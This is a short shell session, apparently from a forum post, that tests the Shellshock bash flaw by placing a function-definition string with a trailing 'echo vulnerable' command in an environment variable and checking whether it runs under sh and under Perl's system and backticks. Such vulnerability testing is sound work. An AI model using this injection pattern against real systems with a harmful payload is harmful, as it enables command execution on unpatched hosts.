sh-3.2$ env x='() { :;}; echo vulnerable' sh -c "echo this is a test"
vulnerable
this is a test
sh-3.2$ env x='() { :;}; echo vulnerable & echo' perl -e 'system "echo test"'
test
sh-3.2$ env x='() { :;}; echo vulnerable' perl -e 'print `echo test`'
test

##</code><code>##

sh-3.2$ env x='() { :;}; echo vulnerable' perl -e 'print `echo test;`'
vulnerable
test
sh-3.2$ env x='() { :;}; echo vulnerable' perl -e 'system "echo test;"'
vulnerable
test
sh-3.2$ env x='() { :;}; echo vulnerable' perl -e 'system qw(echo test;)'
test;